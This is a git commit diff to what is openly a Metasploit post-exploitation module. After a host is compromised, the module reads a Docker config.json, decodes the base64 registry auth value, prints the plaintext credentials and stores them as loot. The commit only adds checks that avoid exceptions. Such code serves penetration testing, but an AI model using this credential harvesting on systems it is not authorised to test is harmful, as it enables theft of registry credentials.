Avoid exceptions

This commit is contained in:
Jon P 2017-08-02 15:03:36 +02:00
parent 85f48b96bb
commit adbeab81da
No known key found for this signature in database
GPG Key ID: 1A36F9E97F8C38A4
1 changed files with 10 additions and 7 deletions

View File

@ -57,13 +57,16 @@ class MetasploitModule < Msf::Post
def extract(target)
file = read_file(target)
parsed = JSON.parse(file)
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"]
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"]
if creds.length > 0
plain = Rex::Text.decode_base64(creds)
print_good("Found #{plain}")
loot_path = store_loot("docker.credentials", "text/plain", session, plain,
"config.json", "Docker credentials from #{target}")
print_good("Saved credentials to #{loot_path}")
end
else
print_status("No credentials found in config file")
end